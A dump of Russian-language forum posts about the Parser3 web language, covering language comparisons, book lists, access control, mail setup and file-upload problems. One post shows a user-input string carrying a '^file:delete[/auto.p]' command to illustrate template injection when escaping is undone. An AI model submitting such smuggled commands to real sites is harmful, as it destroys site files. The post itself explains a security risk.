$result[^process{$code}]\
[/code]"
"44930","Не удивляет.\
А вас не удивляет, что \"Запорожец\" уже снят с производства?"
"44931",">для создания большого проекта недостаточно одной технологии, даже если это PHP =)\
\
Примеры? У меня есть обратные - myweb.ru, love.mail.ru, например."
"44932","[quot]First man, then machine[/quot] (Сначала человек, потом машина).\
\
Эта фраза полностью отражает философию автомобилей Хонда. В этом смысле я бы сравнивал Parser именно с ними."
"44933","и \"&lt;\" -> \"<\" не произойдёт.\
\
и много зла выйдет:\
скажем, добрые люди немедленно там\
[code]\
привет, меня зовут \"^file:delete[/auto.p]\".\
хотел посмотреть тут кое-что.\
[/code]"
"44934","tainting в parser умеет делать только \">\" -> \"&lt\".\
обратно — только replace."
"44937","2-ой день пытаюсь вникнуть в Мишин класс аворизации - понемногу ситуация проясняется :). Все сделано отлично, много узнал нового в вопросе авторизации, за что Мише отдельное спасибо. Как он сам заметил - в классе непонятны только коментарии :).\
\
...и использование групп. В трех файлах, вложенных в архив приведен пример стандартной авторизации + регистрации + изменения_параметров. А вот как использовать уровни доступа - так и не понял. В БД есть таблица acl. В классе определены методы работы с этой таблицей, но нигде не используются. А как они фактически работают - разобраться не смог.\
\
Короче, мне нужно, чтобы в определенный раздел имели доступ только определенные пользователи.\
\
Я, конечно, могу написать новый класс, но я теоретически не могу понять, как реализовать решение данного вопроса. Как я понимаю, нужно обределить объекты, и права доступа на эти объекты. И назначать эти права соответствующим пользователям. Или нет? Кто юзал эти методы Мишиного класса - подскажите пожалуйста.\
\
P.S. Сам Миша, к сожалению, комментировать свой класс пока отказывается. Занят, наверное :)."
"44940","вопрос задан дилетантом. Есть смысл что-то обсуждать?"
"44941","Кто что скажет про \"Поль Дюбуа, MySQL\"?\
Толстая солидная книжка, пролистал, вроде толковая.\
Читал ли кто?"
"44942","Мне понравилась. Почерпнул много интересного и полезного. Не раз спасала :)"
"44943","хмм - круто, но мне этого всего не нужно. Приднтся свой класс написать. У меня всего 2 раздела и 2 группы юзеров - тут все проще, чем у Миши."
"44944","Если интересуют regexp советую книгу:\
Автор Дж. Фридл - Регулярные выражения.\
\
Неплохая книга по языку sql:\
Дж. Грофф, П. Вайнберг - SQL 3 издание.\
Здесь разбирается SQL, но проектирование не затронуто."
"44945","А зачем писать свой класс, который с очень большой вероятностью будет хуже Мишиного? Потренироваться - да, стоит. А если надо решить конкретную задачу глубокого смысла не вижу. Чем он не устраивает Вас? Единственное будет всего несколько записей в таблице. Но разве это плохо? Просто не будете пользовать все возможности класса. \
Хотя решать конечно же не мне. \
удачи."
"44946","Мне кажется Ваши вопросы не особо понятны в этом окружении.\
Я даже придумал несколько вопросов для Вас,\
1) [b]Зачем PHP, если есть ASP?...[/b] Который по многим мнения может позволить намного больше. И его поддержка компанией Microsoft...\
2) [b]Зачем Linux, если есть Windows?...[/b] Второй проще в использовании, плюс книг и документаций множество.\
3) [b]Зачем есть палочками, если можно кушать вилкой?...[/b]\
На каком языке пишете Вы?\
P.S. Знаете, что в своё время много не выходило за определённые пределы... Повспоминайте множество писателей, музыкантов, неординарных людей. Здесь же можно задать новый вопрос, зачем нынешняя классическая музыка?"
"44947","Ну, во-первых - я буду точно занть, какие действия происходят при опеределенных условиях, т.е. буду знать работу своего скрипта. Используя Мишин класс, с изобилием комментраиев, о ходе работы можно только догадываться.\
\
Во-вторых - мне в классе многое так и не стало ясно, а имеено принцип работы с группами. Сидеть и разбирать 1635 строк класса у меня нет времени - свой класс написать мне будет куда быстрее. Конечно, он не будет столь эффективным, но именно в моем случае, мне кажется, его будет достаточно.\
\
P.S. ссылка в вашем предидущем посте меня не особо прояснила, и по форуму поиск тоже безрезультатен. Походу Миша держит все в глубокой тайне )."
"44948","Вполне может быть. Я же говорю, выбирать Вам. \
А Миша ничего вроде в секрете не держит. Да и как можно держать в секрете открытый код? \
http://www.parser.ru/forum/?id=38861 здесь я разбирался в его работе. возможно и Вам поможет. И ищите в форуме лушче. Обсуждалось много раз."
"44949","Фридл уже прочитан.\
\
Sql поставил на заметку."
"44950","Учтём-с :)"
"44951","Если книгу по ООП хорошую найдете, мне автора и название скиньте пожалуйста. (можно в форум)"
"44952","Я думаю, что это можно сделать даже на ассемблере."
"44953","Ответы на ваши вопросы:\
1) А ASP под Linux есть?\
2) В отличие от Windows, Linux - OS бесплатная и с открытым исходным кодом.\
3) Если русский человек начнет есть палочками, это будет выглядеть забавно :)\
\
странные у вас вопросы..."
"44954","Не понял? Будут возражения, что Parser (в отличие от, скажем Perl или Java) изначально задумывался для веба? Смешно."
"44957","Ага :)\
Только мыло и веревку куплю )))"
"44958","Sumo, шутите? Когда я его \"пробовал\" (версия 1.0-какая-то-там), это был просто ужас - половина не работало, библиотеки не все были, запускалось все с трудом (сейчас, возможно, все по-другому, но я в этом сильно сомневаюсь)."
"44959","Нет, я конечно, ЗА, но пока это не .NET )))"
"44960","Любой разработчик вправе использовать тот инструмент, который ему нравится. Все, точка. Дальше никаких \"обсуждений\" быть не должно. А новые языки программирования как появлялись, так и будут появляться и никто не может запретить людям на них писать."
"44961",">Любой разработчик вправе использовать тот инструмент, который ему нравится.\
\
Безусловно. Но перед выбором инструмента разработчик должен задуматься, [i]куда его этот инструмент заведет[/i]. На что, кстати, намекалось в одном из пресс-релизов студии Лебедева, посвященному Imprimatur II и использованию ASP.NET (из-за него я попал сюда)."
"44962","Парсер обеспечивает 95% потребностей любого, даже очень сложного, веб-проекта. Остальные 5% вполне обеспечиваются запуском внешних программ. Это значит, что Парсер польностью оправдывает свое существование. Популярность данного инструмента среди \"народных масс\" меня, например, совершенно не колышит.\
\
p.s. Студия активно использует Imprimatur I, написанный на Парсере. И судя по портфолио использует гораздо чаще, чем Imprimatur II."
"44964","Перечитал уже все энциклопедии про PHP.\
НЕ МОГУ НАЙТИ АНАЛОГ ФУНКЦИИ Parser'a в PHP:\
[code]^math:uuid[][/code]\
Пишу дополнительный скрипт для разархивации файлов на PHP.\
Каждому файлу в архиве нужно установить уникальное имя, такое как [code]^math:uuid[][/code]\
В параметрах передать етот код не удасться, так как не известно кол-во файлов, присутствующих в архиве"
"44968","Лабайте на том, что вам удобнее.\
Парсеристам очень важен полный контроль над кодом и скорость разработки."
"44969","http://www.bougakov.com/cgi-bin/parser3/parser3.cgi [code]Parser/3.2.0beta (compiled on i386-unknown-freebsd5.3)[/code]"
"44970","Вот как раз \"очень сложных\" интернет-проектов на Парсере я и не видел."
"44971",">Интересно, а что вас побудило создать этот топик?\
Мысль о том, что разработчики Парсера изобретают велосипед, вместо того, чтобы сделать что-нибудь новое и действительно нужное.\
\
С одной стороны, понятен смысл Парсера для студии Лебедева - \"привязать\" клиента к собственной технологии. С другой стороны, не понятен смысл вывода Парсера в \"широкие массы\" - зачем?"
"44972","Сделать аналог, упоминавшегося здесь, love.mail.ru [на самом деле это движок mamba.ru] можно без проблем. Тот же Imprimatur I я бы тоже отнес к сложным проектам. Мной Парсер используется для разработки провайдерского биллинга... и т.д. и т.п.\
\
От Вас мы пока, кроме словоблудия в стиле \"это не круто\", никаких аргументов на предмет невозможности использования Парсера для \"серьезных\" проектов не услышали."
"44973","Покажите, где было написано \"это не круто\"? Ткните пальчиком, уважаемый.\
\
И потом, я не говорю, что на Парсере [i]невозможно[/i] написать большой и сложный проект ([url=http://www.parser.ru/forum/?id=44952]вот еще бонус[/url]), я говорю, что почему-то [i]реальных[/i] сложных проектов, написанных на Парсере, очень мало (относить Imprimatur I к сложным проектам или нет, я не знаю - в живую его не видел)."
"44974","Особенно если Вы сами не в состоянии дать определение сложному проекту. Сформулируйте сначала - потом обсудим."
"44975","Дублирую вопрос, \"На каком языке пишете Вы?\".\
1) ASP под Linux нет.\
3) Почему китайцы не выглядят забавно? Почему мы не виглядим забавными когда едим китайскую кухню?"
"44976",">Дублирую вопрос, \"На каком языке пишете Вы?\".\
Assembler, C/C++, PHP, Perl, C#.\
\
>Почему китайцы не выглядят забавно? Почему мы не виглядим забавными когда едим китайскую кухню?\
Потому что все образованные и порядочные люди понимают, что у китайцев своя культура, а у нас - своя :). То же и с китайской кухней - если русский человек [i]полностью[/i] пересядет на китайскую кухню, это будет выглядеть довольно необычно..."
"44978","Ну тогда можно сказать, что есть Мерседес, а Ауди велосипед изобрели.\
Как любой продукт, Parser3 имеет свой ряд приемущств и недостатков.\
\
До сих пор не понятна причина создание этого топика...\
Зачем спрашивать по какой причине изобрели Parser? Это уже совершившееся событие. Вам надо было задавать этот вопрос когда только задумывался этот проект...\
\
Если Вы клоните к тому, что это малофункциональный язык - привидите хотя бы один пример."
"44980","Про БД см. http://www.parser.ru/forum/?id=43520\
Остальное:\
\
1. Эндрю Хант, Дэвид Томас\
Программист-прагматик. Путь от подмастерья к мастеру\
\
http://www.ozon.ru/context/detail/id/1657382/\
\
2. Алан Шаллоуей, Джеймс Р. Тротт\
Шаблоны проектирования. Новый подход к объектно-ориентированному анализу и проектированию\
\
http://www.ozon.ru/context/detail/id/1150746/\
\
3. Брайан Керниган, Роб Пайк\
Практика программирования\
\
http://www.ozon.ru/context/detail/id/1927500/\
\
4.  Мартин Фаулер\
Рефакторинг. Улучшение существующего кода\
\
http://www.ozon.ru/context/detail/id/1308678/\
\
5. Эрик C. Реймонд\
Искусство программирования для Unix\
\
http://www.ozon.ru/context/detail/id/2317804/\
\
6.  Кент Бек\
Экстремальное программирование\
\
http://www.ozon.ru/context/detail/id/1099618/\
\
7. Кент Бек\
Экстремальное программирование: разработка через тестирование\
\
http://www.ozon.ru/context/detail/id/1501671/\
\
8. Кент Ауэр, Рой Миллер\
Экстремальное программирование: постановка процесса. С первых шагов и до победного конца\
\
http://www.ozon.ru/context/detail/id/1397407/\
\
9. Гради Буч\
Объектно - ориентированный анализ и проектирование с примерами приложений на С++\
\
http://www.ozon.ru/context/detail/id/87972/\
\
10. Роберт У. Себеста\
Основные концепции языков программирования\
\
http://www.ozon.ru/context/detail/id/154652/\
\
\
11. Мартин Фаулер\
Архитектура корпоративных программных приложений\
\
http://www.ozon.ru/context/detail/id/1616782/\
\
12. Ну и конечно Кнут\
\
Думаю лет на 5 хватит :))"
"44981","Вы мне в прошлый раз по БД книги хорошие посоветовали.\
Купил книгу: \
Томас Коннолли, Каролин Бегг\
Базы данных. Проектирование, реализация и сопровождение. Теория и практика\
Database Systems. A Practical Approach to Design, Implementation, and Management\
\
Отличная книга! Действительно все описано в полном объеме."
"44983","Я от парсера потихоньку отдаляюсь. Давно ничего путнего на нем не делал."
"44984","Вот вам пример, язык разработки фронтэнда - Parser3(wXML), бэкэнд частично на Perl.\
\
Парсер имеет один мегаплюс - скорость разработки, которая не снится ни одной другой технологии."
"44986","Сделал тут проектик для заказчика, перед этим осведомился на реплае, как у них с Парсером. Те заверили, что все в шоколаде, но наткнулся на трабл, sendmail у них лежит не в /usr/sbin а в /usr/bin, так что если брать прекомпиленный бинарь, то с отсылкой почты возникнет трабл.\
\
Сразу вопрос к Egr, не завалялось ли где скомпиленного под Линух парсера с возможностью поменять пути (unsafe)?"
"44987","Может кто подтолкнет.\
есть таблица $events с полем date_start формата 0000-00-00\
хочу select-ом выбрать события за определенный день\
использовать знак = не получается так как это не цифра, а eq не работает:\
[code]\
$events_today[^events.select($events.date_start eq ${now.year}-^now.month.format[%02d]-${days.$week_day})]\
[/code]\
может у кого есть идея как сравнить $events.date_start с датой в календаре?\
\
спасибо."
"44988","в 3.1.4 можно отправлять почту через smtp сервер, без использования sendmail клиента."
"44990","Нет, я клоню к тому, что вся функциональность Parser'а перекрывается, например, тем же PHP (или ASP.NET)."
"44991","попробовал, не помогло...\
в принципе такой вариант работать должен ведь?\
или может я в корне не прав?\
\
\
и вот еще вопросик, а можно ли  в данном случае сравнить даты таким образом:\
[code]\
$events.date_start <= $now <= $events.date_end\
[/code]\
"
"44992","> Парсер имеет один мегаплюс - скорость разработки, которая не снится ни одной другой технологии.\
\
:)) ну это ты точно загнул."
"44993","Не ложась под ASP в том же PHP иерархического наследования шаблонов (auto.p) я не видел, инклуды не катят.\
\
А вообще, Ассемблер перекрывает любую функциональность чего бы то ни было, дело в том, что люди выбирают те инструменты которые им удобнее для решения их конкретных задач. Иногда Парсер оказывается удобен."
"44994","Очень толково написано о программировании вообще, и ООП в частности.\
\
http://www.ozon.ru/context/detail/id/2315343"
"44995",">А вообще, Ассемблер перекрывает любую функциональность чего бы то ни было\
\
Ну не надо совсем уж утрировать-то."
"44996","Я думаю, вы прекрасно понимаете, о чем здесь идет речь."
"44997","Да в этом никто и не сомневается. :)"
"44998","Оч толковая книжка, правда достаточно нудная :) я её с трудом осилил."
"44999","Как вариант, можно поробовать разбить дату на части, те день, месяц и год и сравнивать по трем числам."
"45000","По идеи вариант с eq должен работать, возьмите в кавычки. Если не помогает, то выведите две даты на экран, может быть у вас ошибка в коде (даты изначально не равны)?"
"45001","Гм, из тех, с которыми работаю =) По крайней мере быстрее чем создание того же на Java или Perl, с ASP не знаком.."
"45002","Вернусь к Парсеру. Сегодня Parser не настолько мощный язык, но мы не знаем что будет завтра. Зато сейчас у него есть какие-то преимущества, лёгкость в использовании в каких-то процессах, что я не заметил в PHP.\
Мне кажется, Вам нужно почитать в свободное время документацию Парсера, посмотреть примеры и сравнить его.\
\
[i][b]Из воспоминаний...[/b]\
Когда-то компания AMD не пользовалась такой популярностью как сейчас...[/i]"
"45003","дело в том что если сделать тоже самое через\
[code]\
^events.locate[date_start;${now.year}-^now.month.format[%02d]-${days.$week_day}]\
[/code]\
то все находится, но проблема в том что на один день приходится несколько событий и их locate не выбать"
"45004","Скачал у тебя версию с отключенным safe mode (groupunlim_cgi), она почему-то не хочет пахать (оставил auto.p от стандартной версии с Parser.ru) пишет в лог апача о Permature end of script headers. Если вернуть оригинальный бинарь, все работает. Где грабли?"
"45005","Обычно она у провайдеров не стоит, а стоит 7.3"
"45006","буду искать что не так у меня.\
\
Все работает, пока...\
\
Спасибо."
"45008","В общем-то, давно справился, но надо закрыть тему, вдруг кому пригодится.\
\
Дело в том, что у меня в cgi-bin лежали 2 parsera с разными именами.\
А проблема была в том, что в httpd.conf оказалось два блока для этого сайта. В одном был указан обработчиком один parser, а во втором - другой. Ну и действовал не тот, который нужен.\
\
Спасибо за отзывы."
"45009","Этих линухов как грибов - со всеми разбираться умрешь."
"45010","Если  вот это [url=\"love.mail.ru\"]love.mail.ru[/url] Вы считаете большим проектом, то разговаривать дальше нечего. Таких проектов, как грибов после дождя.Все на одном и том же CMS и с одинаковыми недостатками.\
А примером(примерами) являются сам проект Imprimatur 2 и сайты на нём.\
З.Ы. Никого обидеть не хотел =)"
"45011","У них видать SMTP с авторизацией, при попытке послать письмо вовне (не в пределах домена) пишет \
\
\"The mail server doesn't like the name admin@mysterria.com. Have you set the 'To: ' field correctly?\"\
\
Как бы это обойти?"
"45012",">Если вот это love.mail.ru Вы считаете большим проектом, то разговаривать дальше нечего.\
\
А вас не смущает 4+ млн. пользователей на love.mail.ru? )) Мало? Хотите сказать, что, например http://www.sim-service.ru/ (на Imprimatur) больше? )))"
"45013","Формулирую:\
Сложный проект - это проект, который\
а) Имеет развитую функциональность (например, большая многофункциональная CMS).\
б) Расчитан на большие нагрузки (например, фронтенд гиперпосещаемого сайта)."
"45014","Читал я доки Парсера )))\
Да... копирайтеры в студии Лебедева работают хорошие - целую поэму написали))). Вот отрывки:\
\
\"Целью его создания было облегчить труд тех, кто по сегодняшний день успешно и в кратчайшие сроки создает лучшие сайты рунета, избавить их от рутинной работы и позволить отдавать свое время непосредственно творчеству. Зачем забивать гвозди микроскопом, если его настоящее предназначение совсем не в этом?\"\
\
\"Построение серьезного ресурса без БД - это как рыбалка без удилища: вроде бы и можно кого-то поймать, однако делать это крайне неудобно.\"\
\
\"Однако ограничение разработчиков рамками только базовых классов в какой-то момент может стать сдерживающим фактором. «Неспособность не есть благодетель, а есть бессилие…», поэтому для удовлетворения всех потребностей пользователей необходимо иметь возможность создавать собственные (пользовательские) классы объектов со своими методами.\"\
\
Лепота! Главное - привить любовь к Парсеру с пеленок)))"
"45015","с другой стороны не плохой вариант для опытных. На личном опыте могу сказать что после парсера стал вникать во все остальное, хотя до этого перечитал не мало литературы."
"45016","Вообще-то Imprimatur(первый, который на Парсере) это не Imprimatur II(второй - смесь технологий).Если кто-то ещё не знает =)\
\
А вот, вы меня натолкнули на мысль: пример [url=\"mts.ru\"]mts.ru[/url]\
Прикинули сколько у него посетителей в день? =)))Вот он на Imprimatur II."
"45017","Найдите в своем бинарнике parser3.cgi эту строчку:\
\
Parser was configured with --with-sendmail=/usr/sbin/sendmail -i -t -f postmaster key\
\
и поправьте её в HEX редакторе на нужную."
"45018","кто-нить знает кк там с парсером работать?"
"45020","Да нет, я здесь первый раз )))"
"45021","Вот насчет \"точки для начинающих\" я, может быть, согласился бы с вами - документация по Парсеру написана человеческим языком и ее приятно читать. Но с другой стороны, не думаю, что приучать людей смешивать код и данные - правильный подход. Такие вещи, как\
\
[code]<table bgcolor=\"#000000\" cellspacing=\"1\">\
   <tr>\
      <td bgcolor=\"#FFFFFF\" colspan=\"7\" align=\"middle\">\
         <b>$calendar_locale.month_names.[$now.month]</b>\
      </td>\
   </tr>\
   <tr>\
      ^for[week_day](0;6){\
         <td width=\"14%\" align=\"middle\" bgcolor=\"#A2D0F2\">\
            <font color=\"$calendar_locale.day_colors.$week_day\">\
               $calendar_locale.day_names.$week_day\
            </font>\
         </td>\
      }\
   </tr>[/code]\
\
вообще дикость."
"45022","[i]Здесь[/i] я с вами соглашусь. mts.ru, безусловно, посещаемый сайт :). Но он на Imprimatur II (а он на .NET, если я не ошибаюсь?)."
"45023","[url=\"http://bizhost.ru\"]http://bizhost.ru[/url]\
отличный хостинг, parser изначально не установлен, но по просьбе установят."
"45024","'/usr/sbin/sendmail' reported problem: UNKNOWN (1)"
"45025","(php) в общих чертах\
[code]\
<?foreach($Book as $k=>$v)?>\
name: <?=$v['name']?><br>\
text: <?=htmlSpecialChars($v['text'])?>\
<hr>\
[/code]\
от того что написали вы(если я правильно понял)."
"45026","[url=\"http://bizhost.ru\"]bizhost.ru[/url]"
"45027","Только вот не мой проект и хостинг не я выбирал. Мне туда только скрипт прикрутить надо.."
"45028","Фактически вся программа на Парсере выполняется внутри большого оператора print (write, echo, << ... нужное подставить). Какое здесь преимущество: в принципе не требуется сторонних шаблонизаторов a-la Smarty и пр. - язык сам содержит все необходимые средства (все-таки Парсер - макроязык). Причем шаблоны эти изначально объектно-ориентированные.\
\
При этом никто не запрещает Вам использовать сторонние процессоры шаблонов. Парсер поддерживает наиболее стандартизованное из современных решений - XSL."
"45032","мои треды удаляли, но я не самый тупой!"
"45034","Как я уже говорил он на нескольких техноологиях. Парсер там тоже присутствует(форум,новости,авторизация...)Вообщем дальше вам что-то доказывать больше не надо, сами поймёте... =)"
"45036","Вы попробовали сделать как я в http://www.parser.ru/forum/?id=45017 советовал? Мне это действительно помогло на одном из хостингов."
"45037","Как хотите понимайте, но мне parser нравится потому, что это [b]красивый язык[/b]. На Перле, на пхп, на Васике :) и т.п. стандартных, программирование - это однозначно работа, а на parser'е - скорее исскуство. Результативное программирование на parser'е начинается после 3...4-х вводных часов. Уже можно внедрять его в сайт. И можно на том же вводном уровне и остаться - никто не гонит обязательно все структурировать и формализовывать. Но если появится желание, то ограничений у этого языка почти нет - классы, методы, процедуры, инкапсуляции, наследование, оптимизация и т.д. и т.п. - все на уровне и все \"заточено\" под нужды вэба, да и под мои нужды. В общем как хороший музыкальный инструмент типа ройяль: начать играть можно быстро, но верхнего предела совершенству нет.\
\
По аналогии с программами бухучета: есть 1С - стандарт в своем классе. И 90% бухгалтеров именно на ней работают. Но... при каждом бухгалтере свой наладчик. Целая индустрия в стране есть по настройке данной программы. Иначе никак. А есть редко используемая http://www.sls.ru/, на которой у меня бухгалтерия одного из магазинов пятый год вертится. И нет наладчиков, нет необходимости обращаться чаще чем раз в полгода в сепорт - все уже сделано талантливыми людьми из SLS.\
\
А как инженер я точно знаю, что все правильное - красиво!\
\
Имхо конечно."
"45039","http://www.bougakov.com/misc/parser/parser_3_2_0beta__freebsd_5_3.tar.gz (1385Kb)\
\
версия 3.2.0beta (ветка HEAD из CVS + драйвер MySQL, тоже из HEAD). Парсер - без XML и mailreceive.\
\
У меня на хостинге установлена квота в 50 мегабайт, из которых свободно 10, поэтому места развернуть и собрать XML-библиотеки не хватило. \
\
------\
\
Процесс оказался невероятно простым. SSH-доступа у меня нет, но я нашёл классную штуку под названием PerlNet, которая состоит из бэкенда в виде маленького perl-скрипта и windows-программы, которая играет роль консоли. Общаются они между собой по HTTP.\
\
После того, как у вас появляется доступ к командной строке на сервере, всё (при наличии минимальных знаний unix-linux на уровне базовых команд mv, mkdir, cat, man ;-) wget, и т.п.) становится очень просто. Исходники из раздела download не собрались, т.к. у провайдера стоит новая версия компилятора gcc, поэтому вытащил с cvs.parser.ru ветку HEAD. Знать CSV не нужно (сам предпочитаю subversion, например), просто cut&paste двух строк из документации.\
\
Исходники libgc вытаскиваем с помощью wget.\
\
Дальше спотыкаемся о грабли с необходимостью переименовать parser3-x.x в parser3, перечитываем файл INSTALL, спотыкаемся о грабли с --prefix=/usr/local, снова читаем INSTALL, преодолеваем и эту бяку. Вуаля, всё работает.."
"45040","т.е что-то вкомпилить в ваш метод вы не можете, в объект/класс - запросто."
"45041","Мда, тут не на пять, тут на все десять :).\
Кое-что листал в магазине, буду иметь ввиду.\
\
\
PS Есть, кстати, идея, собирать список хорошей литературы по теме.\
Если наберётся солидный список, можно выложить в разделе документации.\
Misha, как насчёт?"
"45042","А.Петросян предупреждал, что в настоящий момент в CVS лежит версия с небольшими ошибками. Или я что-то пропустил? Собрал бы ты лучше stable версию, а то не ровен час вместо благодарностей огребешь поездку в Бабруйск от народа :)"
"45043","Подобные вещи - дикость на любом языке программирования. На PHP никто так не пишет."
"45044","[code]\
$текст_валенок[^валенки[]]\
$текст_тулупа[^тулуп[]]\
^шапка[]\
$текст_тулупа\
$текст_валенок\
[/code]\
\
P.S. если я конечно правильно понял вопрос."
"45045","по моему если вы дадите \"нулевые\" права несчастному на этот объект--ребенка то у него не останется прав, которые пришли ему свыше от групп. т.е. \"права, выданные непосредственно пользователю на объект перекрывают то, что пришло свыше\". по крайней мере я так планировал, ибо в NDS оно так =)\
\
однако сделать подобный хинт с группой несчастных будет неудобно: надо давать права персонально каждому. \
\
и ещё я нахожу это благом, и считаю что раздачи прав через пользователей [b]не должно быть вообще[/b] (точнее должно быть минимум, как например доступ к персональной странице/каталогу). если у вас есть форум и чат, то сделайте две группы, и помещайте в группу чат тех, кому доступен чат, а в группу форум тех - кому доступен форум. надо забанить в чат или форум - вкинули его из соответствующей группы и все.\
\
я считаю что делать мешанину из нескольких систем раздачи прав неправильно: во первых это сложнее для понимания и во вторых возможно пропустить какие-либо подводные камни, о которых люди, придумывающие системы раздачи прав уже подумали за нас."
"45047","1. как выяснили ранее COUNT всегда вернет число, т.е. $.default{0} не нужен\
2. в данном слечае COUNT(news_id) полностью идентичен COUNT(*) поэтому смысла замены не бало никакого (разве что использовать это как танец с бубном) =)"
"45049","До недавнего времени я Парсер пользовал только в тривиальных задачах, а сейчас потихоньку продвигаюсь дальше. Столкнулся с необходимостью \"отложенных функций\", т.е.:\
\
[code]\
[color=\"#ff0000\"]$текст_валенок[^валенки[]][/color]\
$текст_тулупа[^тулуп[]]\
............лирика.........\
^шапка[]\
$текст_тулупа\
... и вдруг!...\
[color=\"#00ff00\"]$текст_валенок[Срочная замена на сапоги в связи с распутицей!][/color]\
\
[color=\"#ff0000\"]$текст_валенок[/color]\
.....\
[/code]\
\
Вроде это все тривиально решается типовыми методами Парсера, но пока не очень уверенно ориентируюсь во многих вопросах. Время должно пройти, чтобы \"ъехать\" по самые уши в язык и конструкции. Наверное чуть позже начну задавать вопросы более осмысленно :)"
"45050","Я хотел собрать 3.1.4, для этого даже скачал дистрибутив FreeBSD и попытался поставить на старый ноутбук, но огрёб \"Fatal trap 12\" при инсталляции. \
\
У хостера - новая версия gcc, на скачивание старой, с \"незавинченными\" гайками [(с) Paf] не было дисковой квоты (сам архив исходников занимает мегабайт десять). Так что собрал то, что представлялось возможным."
"45051","То что нет xml это не так страшно\
Буду учиться сам собирать.\
Большое спасибо!"
"45052","Я занимался задачей куда более сложной чем cms -- crm, сам делал xml часть, всеь проект был написан на парсере, никаких ограничений на производительность не заметил. БД 4000 страниц, строк с данными 120000... работает прекрасно. В коде разбираться и доделывать очень просто."
"45053","Чего соорудил-то:\
\
[code]\
@GetDirIndex[pathToDir][_tableIndex;_flagZero]\
##################################\
# Возвращает имя индексного файла каталога.\
#\
#    string\
#    GetDirIndex[\
#        string pathToDir;\
#    ]\
\
$pathToDir[^pathToDir.trim[end;/]]\
\
$_tableIndex[^table:create{path\
index.htm\
index.php\
index.phtml\
index.shtml\
default.html\
default.htm\
index.html\
default.php\
default.phtml\
default.shtml\
main.html\
main.htm\
main.php\
main.shtml\
main.phtml}\
\
# Флаг для принудительного вызова ошибки \"деление на ноль\"\
$_flagZero(0)\
\
^try{\
        ^_tableIndex.menu{\
\
                ^try{\
                        $_flagZero(1)\
                        ^file::load[binary;$pathToDir/$_tableIndex.path]\
                }{\
# Данный блок срабатывает при возникновении ошибки file.access или file.missing\
                        $exception.handled(1)\
                        $_flagZero(0)\
                }\
# Если индексный файл найден, то принудительно вызываем ошибку для выхода из метода .menu\
        ^eval(1/($_flagZero-1))\
\
        }\
}{\
# Обработка ошибки number.zerodivision и присвоение выходного значения оператору @GetDirIndex[]\
        $exception.handled(1)\
        $result[$_tableIndex.path]\
}\
#end @GetDirIndex[]\
[/code]\
\
Как ни странно, но всё работает :) Фишка в том, что производится аварийный выход из метода ^table.menu{}, но в $_tableIndex.path сохраняется указатель на \"правильный\" индексный файл директории, который и используется в качестве результаты работы всего оператора.\
\
Вопрос к Создателям:\
\
1. Так допустимо делать? Или этот финт можно отнести к \"недокументированным особенностям\" и в любой момент все имеет право перестать работать?\
\
2.  Оператор ^try внутри другого оператора ^try ? Это не криминал, при условии, что логика программы гарантирует обработку всех искусственно вызванных ошибок..."
"45054","Не загружаются изображения на сервер, код проверил несколько раз он ошибок не выдает.\
Последняя ошибка в логе уже вроде решена, там больше не появляется.\
Никак не могу понять что не работает?\
[code]\
<body>\
<form method=\"post\" enctype=\"multipart/form-data\">\
  <p>\
 small image <input type=\"file\"  name=\"mini\"  />\
  </p>\
  <p> \
   over image <input type=\"file\" name=\"mini_over\" />\
  </p>\
  <p> \
    big image <input type=\"file\" name=\"image\" />\
  </p>\
  <p> \
    <input type=\"submit\" name=\"add\" />\
  </p>\
</form>\
\
#start parsing\
\
^if(def $form:add && $form:mini && $form:mini_over && $form:image){ \
\
\
\
^form:mini.save[binary;images/mini/$form:mini.name]\
^form:mini_over.save[binary;images/over/$form:mini_over.name]\
^form:image.save[binary;images/$form:image.name]  \
\
\
\
^connect[$connect_string]{^void:sql{insert into photo\
      (mini_image, mini_image_over,  image, works_id)\
   values \
      ('$form:mini.name', '$form:mini_over.name', '$form:image.name', '115')\
   }\
}\
\
 \
}\
#end parsing\
</body>\
</html>\
[/code]\
\
вот из лога\
[Sun Sep 25 15:36:00 2005] [32689] /admin/admin.html: post_size(47784) != content_length(193275) [<no type>]\
[Sun Sep 25 15:36:00 2005] [32689] SIGPIPE received while reading data. uri=/admin/admin.html, method=POST, cl=193275\
[Sun Sep 25 16:10:50 2005] [33940] /ru/live/: /home/igorkolb/domains/igorkolb.net/public_html/auto.p(88:212): '/home/igorkolb/domains/igorkolb.net/public_html/images/1.jpg' measure failed: No such file or directory (2), actual filename '/home/igorkolb/domains/igorkolb.net/public_html/images/1.jpg' [file.missing]\
[Sun Sep 25 16:24:36 2005] [34655] /ru/live/: /home/igorkolb/domains/igorkolb.net/public_html/auto.p(88:212): '/home/igorkolb/domains/igorkolb.net/public_html/images/Photo-1.jpg' measure failed: No such file or directory (2), actual filename '/home/igorkolb/domains/igorkolb.net/public_html/images/Photo-1.jpg' [file.missing]"
"45055","классный скрипт -- надо взять на заметку"
"45056","Понятней и точно не противоречит :-)"
"45058","Спешить не спешу но идея хорошая"
"45059","Можно проверку на наличие файла вынести в отдельный метод:\
\
[code]\
@file_test[pathToFile][_file]\
##################################\
# Проверяет физическое существование файла в каталоге.\
# Используется как вспомогательная функция для @GetDirIndex[].\
#\
^try{$_file[^file::load[binary;$pathToFile]]}{$exception.handled(1)}\
$result[^if(def $_file){true}{}]\
#end @GetDirIndex[]\
[/code]\
\
Тут на самом деле тоже ^try в ^try'е получается.\
\
Можно и через ^while - не суть. Меня единственное, что заинтересовало: как формально себя ведет метод ^table.menu{} при остановке его путём вызова ошибки, т.е через \"брэйк\". Куда указывают поинтеры строк обрабатываемой таблицы, в каком положении они \"замирают\", и что будет при следующем вызове у этой же таблицы метода ^table.menu{}."
"45061","Ну, XML&XSL - другое дело ))"
"45062","Нет, не слышал. Что это такое?"
"45063","Ну это, конечно, как кому нравится. :)"
"45064","1. ^file::load[binary;$pathToDir/$_tableIndex.path] должен всегда приводить к ошибке, но чуть позже, ибо это загрузка двоичного файла в $result. обычно делают так: $f[^file::load[binary;$pathToDir/$_tableIndex.path]] и затем $f.text.\
\
2. использовать ^file::load[binary;$pathToDir/$_tableIndex.path] для проверки сущес твования файла по моему неправильно. -f лучше. для чего проверять на file.access я не знаю. или уж комбинировать: если он существует, то пробуем его загрузить.\
\
3. зачем на каждой итерации присваивать $_flagZero(1) мне не ясно. может в случае нахождения какого нужно файла делать ^throw[;], а не изгаляться с ^eval(1/($_flagZero-1)).\
\
4. еще вариант: хранить список фалов как хеш. для проверки делать ^file:list[], переводить его в хеш и смотреть на результат пересечения хешей.\
\
ответы:\
1. так и должно быть.\
